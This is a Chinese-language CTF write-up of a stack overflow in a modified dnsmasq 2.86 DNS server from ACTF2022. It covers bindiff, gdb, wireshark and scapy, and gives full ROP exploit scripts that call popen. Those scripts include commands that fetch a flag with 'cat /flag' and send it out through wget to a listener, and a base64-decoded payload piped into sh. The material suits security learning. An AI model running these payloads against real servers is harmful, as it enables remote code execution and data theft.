ACTF2022 pwn master_of_dns题解

这个题涉及的知识点较多(对我来说),有没见过的利用方法/思路,有见过但还不够熟悉的点。所以还花了蛮多时间慢慢调试的。

总结

  • 一个dns服务器,通过dig发送一条dns请求报文进行通信
  • 分析dns,根据提示,是dnsmasq。下载对应版本源码,并修改编译选项,编译后使用bindif进行比较
  • 比较找到可疑漏洞点memcpy
  • 使用gdb下断点调试memcpy处
  • 使用wireshark抓dig与dns的通信报文,并用scapy重放
  • 找到关键字段,更改后给dns发送恶意报文
  • 超长报文覆盖返回地址,dns程序崩溃。于是得到了任意代码执行权限
  • 无法泄露信息,考虑ROP利用

分析

运行

题目附件运行情况如下,dns是一个dns解析器,我们可以控制发送给它的请求报文内容。

控制输入

dig程序将报文发送的细节给封装了起来,而我们需要控制发送报文的每一个字节。

因此,使用wireshark抓包。然后,更改报文内容,重新发送。

详情见【wireshark+scapy处理网络数据包】章节。

寻找漏洞

找漏洞有两种方法:

  1. 类fuzz法:随机改变发送报文的内容,测试能否让dns服务崩溃(看运气)
  2. 代码检视:一点点逆向它的逻辑速度太慢,确认它是dnsmasq 2.86后,可以使用bindiff比对

这里我们使用第二种方法。

下载dnsmasq 2.86软件包并编译:

1
2
3
4
5
6
7
8
wget https://thekelleys.org.uk/dnsmasq/dnsmasq-2.86.tar.gz
tar -zxvf dnsmasq-2.86.tar.gz
cd dnsmasq-2.86
# 更改Makefile
# CFLAGS = -m32 -fno-stack-protector
# LDFLAGS = -m32 -no-pie
make
# 在./src/目录下获得dnsmasq

编译完成后,使用函数级diff工具 bindiff 对比查看二进制的差异点。

发现一个大大的memcpy,于是通过 gdb -p <dns-pid> attach到dns进程,在 b *0804F444 处下断点,观察发送的数据中哪个部分会送到这块进行处理。

初步调试

将断点打在memcpy处进行调试

1
2
3
4
5
6
7
8
# 第一个窗口
./dns -C ./dns.conf
ps -ef | grep dns
sudo gdb -p <dns pid>
> b *0x0804F444
> c
# 第二个窗口
dig @127.0.0.1 -p 9999 baidu.com

断点情况如下

拷贝完成后的栈空间:

根据该漏洞函数中dest的位置,定位ebp和返回地址的内存位置

1
2
3
4
5
6
7
8
9
int __cdecl sub_804F345(int a1, int a2, int a3, void *src, int a5, int a6)
{
char *v7; // eax
char *v8; // eax
char *v9; // eax
unsigned __int8 *v10; // eax
unsigned __int8 *v11; // eax
unsigned __int8 *v12; // eax
char dest[848]; // [esp+7h] [ebp-381h] BYREF

计算得到ebp存放地址:0xffa650b7 + 0x381 = 0xffa65438

查看该栈地址附近内存情况,找到返回地址存放在0xffa6543c处,计算偏移:0xffa6543c - 0xffa650b7 = 0x385

image-20220628002718182

撰写脚本

通过python脚本发送恶意构造的报文,使输入数据覆盖 sub_804F345 的返回地址。(本题没开canary)

需要注意几点:

  1. 域名中一定包含”.”,点和点之间最多存放0x3f字节的数据
  2. “.”在传输过程中,被替换成了后一串字符的实际长度(wireshark抓包发现)
  3. dns报文中Raw数据的总长度,不能超过0x400(sub_804F345函数中有检查)

使用scapy发送

这个脚本可以将返回地址覆盖成g.ab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from scapy.all import *

context(arch="i386",os="linux",log_level="debug")
io = remote("127.0.0.1",9999,typ="udp")

packet = rdpcap("./dns_catch.pcapng")
byte_data = packet[2][Raw].load
dns_data = DNS(byte_data)

patch = b"ls > /tmp/x #".ljust(0x3f,b";")+b"."
shellcode1 = patch*13+b'ls > /tmp/x #iiiiiiiiiiiiiiii'+'erty'+b'ooooooooooooooooooooooo.bnmk'+';;.b'+b"cde."
# erty -> eax
# ;;.b -> ebx
# cde. -> ebp

shellcode2 = p32(0x11111111)
# 劫持eip为0x11111111
name_seg = shellcode1 + shellcode2
dns_data.qd = DNSQR(qname=name_seg,qtype=1,qclass=1)
byte_send = raw(dns_data)
io.sendline(byte_send)
io.interactive()

使用pwntools构造裸包

DNS域名长度限制说明以及实验室实战

Common DNS return codes for any DNS service

Wireshark分析DNS协议

DNS QUERY MESSAGE FORMAT

DNS原理及其解析过程

经过测试,dns请求报文中,域名字段,通过"."分隔开,点与点之间的字符个数必须<=0x3f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch="i386",os="linux",log_level="debug")
io = remote("127.0.0.1",9999,typ="udp")

# a = b"\x24\xb4\x01\x20\x00\x01\x00\x00\x00\x00\x00\x01\x05\x62\x61\x69\x64\x75\x03\x63\x6f\x6d\x00\x00\x01\x00\x01\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x0c\x00\x0a\x00\x08\xbe\x1c\x51\x4d\x75\xab\x0c\x7f"

# patch = b"\x3f"+b"ls > /tmp/x#".ljust(0x3f,b";")
patch = b"\x3f"+b"a"*0x3f

a_1 = b"\x24\xb4\x01\x20\x00\x01\x00\x00\x00\x00\x00\x01"
a_2 = patch*14+b"\x04"+b"bcde"
a_3 = b"\x00\x00\x01\x00\x01\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x0c\x00\x0a\x00\x08\xbe\x1c\x51\x4d\x75\xab\x0c\x7f"

shellcode = b"\x04"+b"ghij"
# 劫持eip为"ghij"
a = a_1 + a_2 + shellcode + a_3
io.sendline(a)
io.interactive()

控制流劫持后的利用

方法1:往/tmp目录注入脚本

不直接将wget字符串写在bss段给popen调用的原因:利用0x0804b2bb这条gadget写入时,一次攻击最多只能写20字节,无法写完wget请求的完整字符串。

有用gadget,可以往任意地址写值:

1
0x0804b2bb : mov dword ptr [eax], edx ; ret

往bss段写入内容:

  1. 将bss段地址pop给eax
  2. 将待写入内容(4bytes)pop给edx

最后调popen执行写入的内容:

  1. 方法1,将参数写死在栈上(bss段地址和字符串”r”的地址已知)

  2. 方法2,将参数分别pop给eax和edx,然后跳转到如下gadget

    1
    2
    3
    0x08071802 : push    edx             ; modes
    0x08071803 : push eax ; command
    0x08071804 : call _popen

完整EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from scapy.all import *
context(arch="i386",os="linux",log_level="debug")

packet = rdpcap("./dns_catch.pcapng")
byte_data = packet[2][Raw].load

pop_eax_ret = 0x08059d44
pop_edx_ret = 0x0807ec72
mov_eax_edx_ret = 0x0804b2bb
bss_data_addr = 0x80a72d0 # 0x80a7160
nop_2e_ret = 0x0804a92e
str_r_addr = 0x809c7b2
popen_plt_addr = 0x0804AB40
exit_addr = 0x0804AD30

# 返回shellcode:往任意一个地址写20个字节的内容
def arw4(addr,value):
shellcode = p32(pop_eax_ret) + p32(addr) + p32(pop_edx_ret) + value + p32(mov_eax_edx_ret)
return shellcode

# 返回shellcode:调用popen函数,需指定两个参数地址
def call_popen(commands,modes):
shellcode = p32(popen_plt_addr) + p32(exit_addr) + p32(commands) + p32(modes)
return shellcode

# 打包shellcode:发送20字节(5*4byte)的内容
def pack_payload5(mycmd):
payload = arw4(bss_data_addr,mycmd[0:4])
payload += arw4(bss_data_addr+4,mycmd[4:8])
payload += arw4(bss_data_addr+8,mycmd[8:12])
payload += p32(nop_2e_ret)
payload += arw4(bss_data_addr+12,mycmd[12:16])
payload += arw4(bss_data_addr+16,mycmd[16:20])
payload += call_popen(bss_data_addr,str_r_addr)
return payload
# 打包shellcode:发送16字节(4*4byte)的内容
def pack_payload4(mycmd):
payload = arw4(bss_data_addr,mycmd[0:4])
payload += arw4(bss_data_addr+4,mycmd[4:8])
payload += arw4(bss_data_addr+8,mycmd[8:12])
payload += p32(nop_2e_ret)
payload += arw4(bss_data_addr+12,mycmd[12:16])
payload += call_popen(bss_data_addr,str_r_addr)
return payload
# 打包shellcode:发送8字节(2*4byte)的内容
def pack_payload2(mycmd):
payload = arw4(bss_data_addr,mycmd[0:4])
payload += arw4(bss_data_addr+4,mycmd[4:8])
payload += p32(nop_2e_ret)
payload += call_popen(bss_data_addr,str_r_addr)
return payload

# 连接远程服务器并发送dns请求报文
def send_pack(payload):
io = remote("59.63.224.108",9999,typ="udp")
# io = remote("127.0.0.1",9999,typ="udp")
dns_data = DNS(byte_data)
name_seg = b'a'*0x385 + payload
dns_data.qd = DNSQR(qname=name_seg,qtype=1,qclass=1) # 将新的data揉进dns报文中
byte_send = raw(dns_data)
io.sendline(byte_send)
io.close()
sleep(18)

# test_str = b"wget http://127.0.0.1:6789/ \`cat /flag \`"
test_str = b"wget http://127.0.0.1:6789/$(cat /flag)" # 将要写入脚本中的字符串,将127.0.0.1改成接收flag的服务器ip,监听6789端口(nc -l 6789)
i = 0
while i<(len(test_str)-1):
target = test_str[i:i+2]
mycmd1 = b'echo -n "'+target+b'">>/tmp/y' # 通过popen执行echo命令,一次只能发送2个有效字节(哭
payload1 = pack_payload5(mycmd1)
send_pack(payload1)
i+=2

ch_exec_cmd = b"chmod u+x /tmp/y" # 脚本内容发送完毕后,给脚本文件增加执行权限
payload2 = pack_payload4(ch_exec_cmd)
send_pack(payload2)

exec_cmd = b"/tmp/y " # 等脚本成功执行,就能在我们自己的服务器上看到flag啦~
payload3 = pack_payload2(exec_cmd)
send_pack(payload3)

拿到flag

image-20220630175529627

方法2:利用更巧妙的gadget

上面的方法需要多次跟服务器交互发送报文,由于发送的报文会导致dns服务重启,下一次发送需等待至少15秒,速度极慢。考虑存不存在ROP链能实现发送一次报文就成功利用。

控制流劫持时,寄存器情况如下:

1
2
3
4
5
6
7
8
9
$eax   : 0xffffffff
$ebx : 0xffffffff
$ecx : 0xffb3d140 → ";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.ls > /tmp/x"
$edx : 0xffb3ce67 → "ls > /tmp/x #;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;[...]"
$esp : 0xffb3d1ec → 0x11111111
$ebp : 0x2e656463 ("cde."?)
$esi : 0x09fe69c0 → 0x00002910
$edi : 0xf7f58000 → 0x001ead6c
$eip : 0x0804f613 → ret

目标gadget “call popen”的参数分别存在eax和edx中:

1
2
3
.text:08071802  	push    edx             ; modes
.text:08071803 push eax ; command
.text:08071804 call _popen

eax我们通过输入就能直接控制,edx中存着command的地址。如果它们能把edx的值给eax就好了。

寻找跟edx与eax相关的操作指令,如mov,add,sub,xchg等。

1
2
3
4
5
$ ROPgadget --binary ./dns | grep add | grep edx | grep ret
......
0x0804b639 : add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret
0x0808787b : add eax, edx ; leave ; ret # leave会迁移栈,不适用本题情况
......

于是发现了0x804b639这条gadget。

调试过程中发现两个问题:

  1. add eax,edx后,需要给eax加1。于是通过0x08056434这条gadget配合给eax的初始值来调整

    1
    2
    0x08056434 : add eax, 0x1b8 ; add cl, cl ; ret
    0x0804c29a : adc al, 1 ; ret 0x458b # ret 0x458b不可用,esp会转移到未map地址空间
  2. 在执行popen函数过程中,command由于在低地址,被新的数据覆盖了,导致无法成功执行命令。

    于是需要将command放在我们payload的后面(栈的高地址空间按),并调整一下eax的值

最终利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from scapy.all import *

context(arch="i386",os="linux",log_level="debug")
io = remote("127.0.0.1",9999,typ="udp")
# io = remote("59.63.224.108",9999,typ="udp")

eax_init = 0xf7f593d5 # hex(0xffffffff - 0x80a6fe0 + 0x3b6) = 0xf7f593d5
g_adjust_eax = 0x0804b319 # 0x0804b319 : add eax, 0x80a6fe0 ; add ecx, ecx ; ret
g_add_eax_edx = 0x0804b639 # add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret
g_pop_edx = 0x0807ec72 # pop edx ; ret
r_addr = 0x809c7b2 # &'r'
g_popen_addr = 0x08071802 # push edx; push eax; call _popen

def construct_pkg(input_str):
# the data extracted from dns packet
start_dns = b"\x24\xb4\x01\x20\x00\x01\x00\x00\x00\x00\x00\x01"
end_dns = b"\x00\x00\x01\x00\x01\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x0c\x00\x0a\x00\x08\xbe\x1c\x51\x4d\x75\xab\x0c\x7f"
patch = b"\x3f"+b"a"*0x3f
shellcode1 = patch*13 + b"\x3f" + b'a'*29 +p32(eax_init) + b'a'*30 + b"\x04"+ b"a"*4
shellcode2 = b"\x2c" + p32(g_add_eax_edx)+p32(0xffffffff)+p32(0xffffffff)+p32(0xffffffff)\
+p32(0xffffffff)+p32(0xffffffff)+p32(0xffffffff)\
+p32(g_adjust_eax)+p32(g_pop_edx)+p32(r_addr)+p32(g_popen_addr)
cmd_str = chr(len(input_str)+3).encode() + b"a"*3 + input_str
payload = start_dns + shellcode1 + shellcode2 + cmd_str + end_dns
# print(len(shellcode1)) # 0x385
# print(len(shellcode2)) # 0x2d
# print(hex(len(shellcode1)+len(shellcode2))) # 0x3b2
return payload

# echo wget 127.0.0.1/`cat /flag` | base64 #### d2dldCAxMjcuMC4wLjEvZmxhZ3t0ZXN0fQo=
input_str = b"echo d2dldCAxMjcuMC4wLjEvZmxhZ3t0ZXN0fQo=|base64 -d|sh" # 根据自己服务器ip不同,需要改base64的内容
payload = construct_pkg(input_str)

io.send(payload)
io.interactive()

续:wireshark+scapy处理网络数据包

wireshark抓包

Ubuntu 上 Wireshark 的安装与使用

安装wireshark并抓包

1
2
3
sudo apt show wireshark			# 查看wireshark的可用版本
sudo apt install wireshark # 安装wireshark
sudo wireshark # 以root用户启动wireshark

dig访问本地9999端口调用dns解析服务,用wireshark抓包。先后访问了两次,得到如下报文:dns_catch.pcapng

image-20220628174139141

Data段未自动解析成dns报文(因端口非默认的53),因此按如下步骤将dns udp对应的端口设置成9999

image-20220628174655395

选中DNS,改UDP ports为9999

image-20220628174745837

解析成功,如下:

image-20220628175000577

安装scapy

Python Scapy 报文构造和解析

地表最强数据包工具–Scapy基础篇

网络工具-Scapy使用介绍

盘点一款Python发包收包利器——Scapy

Python学习:scapy库的Packet与str相互转换

1
pip install scapy

在python中引入scapy库

1
2
3
4
5
6
7
8
9
10
from scapy.all import *

packet = rdpcap("./dns_catch.pcapng")
packet.summary()
packet[0].show()
print(packet[3][Ether].src)
print(packet[3][IP].src)
print(ls()) # 显示所有支持的数据包对象。另,通过ls(ARP)来查看指定包的具体内容
print(lsc()) # 列出所有函数
show_interfaces() # 显示网卡信息

用scapy交互操作网络数据包,读取pcap文件中Raw部分,并按DNS格式解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from scapy.all import *

context(arch="i386",os="linux",log_level="debug")

io = remote("127.0.0.1",9999,typ="udp")

packet = rdpcap("./dns_catch.pcapng")
byte_data = packet[2][Raw].load
dns_data = DNS(byte_data)
dns_data.show() # 可以查看数据按照DNS格式解析后的结果

# 替换域名字段发起攻击
dns_data.qd = DNSQR(qname="qqqqqq.aaaaa.sssss.com.ddddd.dddddd",qtype=1,qclass=1)

byte_send = raw(dns_data) # 将<class 'scapy.layers.dns.DNS'>转换成<class 'bytes'>类型

io.sendline(byte_send)
io.interactive()

# 构造一个DNS请求报文
# c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
# c.qd = DNSQR(qname=www.baidu.com,qtype=1,qclass=1)

构造报文

用pwntools发送一个合法的包

1
2
3
4
5
6
7
8
9
10
from pwn import *

context(arch="i386",os="linux",log_level="debug")

io = remote("127.0.0.1",9999,typ="udp")

a = "\x24\xb4\x01\x20\x00\x01\x00\x00\x00\x00\x00\x01\x05\x62\x61\x69\x64\x75\x03\x63\x6f\x6d\x00\x00\x01\x00\x01\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x0c\x00\x0a\x00\x08\xbe\x1c\x51\x4d\x75\xab\x0c\x7f"
# 这段数据是直接从wireshark中摘出来的
io.sendline(a)
io.interactive()

续:x86下找可用的gadget

一种方法是使用 --only 指定

1
2
3
4
5
6
7
8
ROPgadget --binary ./dns --only "pop|ret"
ROPgadget --binary ./dns --only "mov|ret"
ROPgadget --binary ./dns --only "xchg|ret"
ROPgadget --binary ./dns --only "add|ret"
ROPgadget --binary ./dns --only "sub|ret"
ROPgadget --binary ./dns --only "inc|ret"
ROPgadget --binary ./dns --only "dec|ret"
# 等等

另一个种方法是直接 grep

例如,本题中找到带0x2e的nop+ret指令,可以用如下命令:

1
2
3
4
5
6
7
$ ROPgadget --binary ./dns | grep 2e | grep nop
0x08052e0e : inc ebp ; nop ; jmp 0x8052ea8
0x08052eb5 : nop ; add byte ptr [ebp + 0x4d], dh ; jmp 0x8052ec8
0x08052eb2 : nop ; cmp dword ptr [ebp - 0x70], 0 ; jne 0x8052f0d ; jmp 0x8052ecb
0x08052e0f : nop ; jmp 0x8052ea7
0x0808cc29 : nop ; jmp 0x808cc2e
0x0804a92e : nop ; ret

续:比对二进制-bindiff的使用方法

函数级diff工具:bindiff

结合IDA一起使用

续:GDB调试方法汇总

1、正常使用gdb启动程序

1
gdb ./xxx

2、正常启动程序,使用gdb attach

1
2
3
4
5
# 窗口1
./xxx
# 窗口2
ps -ef | grep xxx
gdb -p <xxx pid>

3、正常启动程序,使用gdbserver attach,后使用gdb连接

1
2
3
4
5
6
7
8
# 窗口1
./xxx
# 窗口2
ps -ef | grep xxx
gdbserver :1234 --attach <xxx pid>
# 窗口3
gdb
> target remote :1234

4、【多进程】启动程序时指明不开启子进程

1
./dns -d -C ./dns.conf

5、设置gdb调试多进程/多线程

GDB 调试多进程或者多线程应用

1
2
3
4
5
6
7
set follow-fork-mode [parent|child]		# 设置调试[父进程/子进程]
set detach-on-fork [on|off] # 未调试进程[继续执行/block在fork位置]
show follow-fork-mode
show detach-on-fork
info inferiors # 查看正在调试的进程信息
info threads # 查询线程
thread <thread number> # 切换线程

使用strace跟踪多进程程序

1
strace -ff -o test.txt ./dns -C ./dns.conf